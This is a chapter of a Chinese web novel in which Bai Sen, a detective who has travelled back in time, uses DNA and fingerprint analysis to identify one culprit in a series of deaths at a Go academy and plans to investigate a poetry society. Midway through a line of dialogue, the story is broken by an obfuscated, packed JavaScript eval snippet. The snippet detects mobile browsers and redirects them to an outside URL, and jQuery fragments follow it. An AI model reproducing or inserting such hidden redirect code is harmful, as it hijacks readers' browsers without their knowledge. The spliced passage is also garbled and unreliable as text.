突如其来的大火烧死了一个棋师先生,如此离奇的事件经过一日的发酵,在鸿清棋院里生出千奇百怪的传言。


    有人说此事与徐万钧丧命于水中一样,是一场意外,而更多人却咬定这是九灵山上的邪神发怒,以水和火分别取走两人性命,接下来棋院里一定还会有更多人遭遇不测,死亡的方式将会与金、木、土有关,凑成五行,以完成邪神的祭典。


    如此诡邪的传言一出,必然引得很多棋生心生恐惧,早晨在大广场聚集停训时就有人问曹景,能不能放弃参加秋奕,离开棋院回家。


    曹景严厉责骂了散播谣言者,并一再强调赵知海身死只是一件意外事故,是他前去旧藏书阁调取书卷时手中的烛台不慎掉落,点燃了书册,这才导致发生大火。


    聚集结束前,曹景说马上就是秋奕选拔,让各位棋生不要分心在一些捕风捉影的传闻上,专心准备棋赛,神都的秋奕决选比什么都重要。


    再者,棋院里也会安排更多的守卫,给他们配上桃木剑和法器,从即日起到秋奕选拔结束,每天都不间断的巡视,以令众棋生心安。


    监院的话没有起上什么作用,离开大广场时,棋生们脸上仍然挂有惧色。


    武晴说完,静看着陈钰雪和白森,眼里是一层难以消去的怯意。


    “不用过于担心,武小姐,”白森道,“棋院里绝不是什么邪神作祟。”


    “是么?”武晴的目光转到白森处,仍是无法安心。


    白森一时语塞,她不知道怎么说些安慰的话,在这千年前的古王朝,雷鸣闪电都能被视为天公发怒,不可能大谈什么科学意识和唯物主义,这棋院里又接连发生了两起离奇命案,要空口劝解武晴别害怕,白森自己都觉得话语苍白。


    这时,陈钰雪轻柔道:“晴姐姐,既提到了五行,我就借题往下说,依我之见,世间万物皆如五行相生相克,但是邪一定无以克正,就算九灵山上真有邪神,然心存正气者,神鬼亦敬之。”


    她深吸一口气,在木床上坐直起身,道:“昨天下午要不是晴姐姐站出来为苏师姐说话,监院他们就弄不清棋馆门外发生了什么,苏师姐一定会蒙受冤屈。晴姐姐如此行守正道,何须担心邪神近身?我看,现下最应该担惊受怕的,是那些仗着权势欺凌同窗之徒。”


    一番话说得正气凛然,武晴听罢,当即眉开眼笑。


    “雪妹有这等真知灼见,我再担忧,就显得是我无故心虚了,”武晴笑着指使侍女采莲在木桌上摆好棋盘,“雪妹,来,我们手谈一局。”


    陈钰雪欣然应允,两个女子坐到木桌旁,开始对弈。


    白森独自走到静房一角,远远打量着专心下棋的陈家千金。


    刚才她那番话,几乎让白森认不得她了,尤其是那句“心存正气者,神鬼亦敬之”,白森不敢相信这是从一个心如蛇蝎,视自家仆役性命如玩物的女子口中说出来的。


    这女子,究竟有多深的心计呢?


    也许是觉察到了白森的目光,陈钰雪从棋盘上抬起眼,向白森这里看过来。


    她尚未从烟火毒中痊愈,整个人都还有些憔悴,窗外淡白的阳光照进屋内,落在她那张娇美的脸上,令她看起来像是一块无瑕白玉。


    她迎着白森的目光,翘起嘴角,莞尔一笑。


    不知怎的,白森打了个寒噤,她立时想起那日在静海县秋市上,猫尸案真相大白时,陈钰雪手持一支杏花金钗在脑后发髻上比划着,远远地笑问“这支金钗,好看么?”


    因赵知海身亡,下午的棋理课都上不成了,武晴在医馆一直待到傍晚,与陈钰雪对弈,两人下棋下得不亦乐乎。


    白森彻夜未眠,陈钰雪见她一脸疲惫,让她到静房的木床上休息,白森也不推辞,脑袋一碰到竹枕就沉沉睡去。


    醒来时桌旁的对弈还在继续,眼看到了与颜洵约好的时间,白森以回寝房拿些私物为由,暂从医馆离开。


    来到天枢棋馆门外,颜洵早已等在那里,手里拿着一双布靴。


    见白森来了,他迎上来,由衷钦佩道:“果然如白姑娘所言,地道和酒窖里的脚印的确是赵知海留下的。”


    白森问:“你已经下去比对过了?”


    颜洵点头,向白森比划了下手里的布靴,道:“午时放课后我就前去赵知海的寝房,取了他的一双旧鞋出来,趁着那些守卫都在后院巡视,我就先来此地,到地下去先行查证了一番。”


    白森从颜洵手里拿过一只布靴,仔细看了看。


    既然颜洵查实了地下现场的脚印就是赵知海的,可以绝对确认赵知海就是纵火者了,哪怕对于身处的这个古代王朝来说,有如此物证在,足以给赵知海定罪。


    白森眼底忽而一亮,她在布靴里发现一根黑色长发。


    是赵知海的头发。


    她顾不上与颜洵多说,伸手一触及靴中长发,立即闭眼,进入刑侦系统空间。


    轻车熟路的进入物证分析室,来到储存柜前,其上一个抽屉的小屏亮起,显示有新物证存入。


    白森从抽屉里取出那根头发,转身进了检测实验室。


    半小时后,计算机上现出DNA序列比对结果,与血字中提取到的一组DNA序列相匹配。


    写下血字的三人中,其中一人便是赵知海。


    也可以说,鸿清棋院里的这起连环命案,现已锁定了其中一名凶手。


    白森站在计算机前,内心里却掀不起一丝波澜。


    这个结果她并不意外,在解开那串去到火中就再未返回的脚印之谜时,她就隐隐料想到了,此刻只是坐实了相关证据。


    白森在电脑上调出血字的DNA检测报告,还有另外两组DNA序列,尚且不知与何人匹配。


    找到这两人,这棋院的命案才真正算是水落石出。


    而且,更重要的是,余下两人还会不会犯下更多的命案,正如陈钰雪所言,大诗人骆宾王笔下诗文无数,谁也说不清还会不会出现第三首以杀人写成的诗。


    白森忧心忡忡的离开系统,一睁眼就撞见颜洵失落的目光。


    “现已查明,地下的脚印就是赵知海的,”颜洵道,“这里的命案,也就办完了吧。”


    他不甘心的样子与今天早晨刚从老樵夫的木屋里出来时一样。


    白森轻叹口气,道:“还没办完呢。”


    “哦?”颜洵精神一振,脸上不甘的神色消去了些。


    白森不知道怎么给他解释,总不可能说在麻纸上写成诗的血字里检测到了三组不同的DNA序列,赵知海的DNA只是其中之一,还有另外两人隐在暗处。


    她猛地想起指纹比对结果,赵知海留存在酒窖爬梯上的指纹,与徐万钧衣物上的指纹无法匹配。


    “放火案和徐万钧的命案,不是同一人所为,”白森立时道,“赵知海不是杀死徐万钧的凶手,我们还要继续往下查。”


    颜洵吃了一惊,“这……你是如何知道的?”


    白森就知道他会有此问,她备好了一个能解释得通的理由。


    “动机,洵哥儿,我是从动机上推断的,”白森道,“就算赵知海企图以死亡来表现罪臣的诗句,以此蛊惑人心,但是他为何偏偏要挑徐万钧下手?别忘了,徐万钧不只是容州都督的独子,他生前还是这棋院里风组二等的棋生,棋力只在朱启之下,赵知海身为棋师先生,我第一次遇见他时,他一直在吹嘘他教出来的棋生有多优


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573377|162531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    异,所以我断定他不会选择爱徒作为第一个死者。”


    白森这一语,让颜洵露出恍然大悟的神色。


    “对啊!”颜洵道,“徐万钧之死是与禁诗有关的第一起命案,赵知海可以随意选择一个行凶对象,他怎会选一个有机会前去神都参加秋奕决选的得意门生呢?白姑娘所言极是。”


    见颜洵接受了这说法,白森暗自松了口气,她道:“赵知海没有杀害徐万钧的动机,我们还要接着查。”


    颜洵问:“接下来有什么计划么?”


    白森扭头,看向天枢棋馆后墙方向,一天以前,有一座小木楼在那里化作火海。


    “你还记得在老藏书阁摆放酒坛的会稽诗社么?”白森道,“接下来,我打算好好查一查这个诗社。”


    “嗯,”颜洵赞同道,“那些有鸾鸟纹的酒坛没有放置于地窖中,而是堆放在老藏书阁里,以此对应诗句‘促席鸾觞满’,会稽诗社确实十分可疑。”


    白森道:“后日子时,会稽诗社将有一个聚集仪典,我听武晴小姐说起过,叫作‘祭山典’,我们得想办法去这仪典上看看。”


    “我明白了,还有明日一天时间准备,交给我去办吧。”颜洵道,现在确定连环命案还没到了结的时候,他看起来振奋了不少。


    “哎!”临分别时,白森叫住了颜洵。


    “怎么?”颜洵回过身来。


    “凶手还未查尽,说不清还会不会发生第三起命案,而且凶手选择死者毫无规律可言,”白森小声道,“千万小心。”


    暮色四合,月上树梢,颜洵看着身后女子如似眼带清霜,一身寂冷气质让让周遭月色也淡了几分。


    颜洵心底有情愫涌动,片刻后才深切道:“你也是。”


    回到医馆静房,武晴已经离开了,陈钰雪独自站在床边收拾衣物,在她身后的木桌上放有几味包好的中药。


    听到脚步声,陈钰雪回过头来,见是白森,浅笑道:“你来了。”


    “今晚不用在这里住了么?”白森走到陈钰雪身侧,见她身着一件干净的新袍衫,应是棋院里刚送来的。


    “医工来过了,拿了几包药过来,”陈钰雪看向身后的中药,“我回去自行服药就好,不用留在这里了。”


    白森点点头,上前帮陈钰雪收拾。


    在木床的床头边放有一件叠好的旧衣,其上满是漆黑的烟痕,是陈钰雪从火中生还时身上穿的青圆领袍。


    陈钰雪并没有扔掉旧衣的意思,而是将其仔细收好,放入随身褡裢中。


    收拾妥当后,两人离开静房,往医馆正门走去。


    还没走出几步,走廊前方一扇门开了,一个熟悉的身影从门里踉跄不稳地走出来,还有几个少年跟在后面,几人热烈地议论着什么。


    为首那人是昨天被围攻的沈照宁,他的一只手臂像是受了伤,用粗布条吊在身前,此时他回头向那几个前来探望他的棋生大声道:“我只是要他们去给我阿爹送封信,却说什么外面有山匪,出不去。”


    沈照宁越说越激愤,“过几日阿爹会来看我,我亲自给他说,看他到时候不放把火把这破棋院给烧了,把那些田舍奴都给丢进大牢。”


    白森大步走上前去,陈钰雪紧跟在她身后。


    沈照宁看清走近过来的是何人时,立马收了口,脸上闪过一丝惊恐色,转身走回他的静房。


    门外那几个经常追随沈家公子的权贵少爷见到白森,赶紧转过头装作没看见,往医馆外小跑而去。


    “你说的对,”白森对身侧的陈钰雪道,“现在最应该害怕邪神的,是这些仗势欺人之辈。”


    陈钰雪没有答话,只是望着沈照宁的静房,淡淡一笑。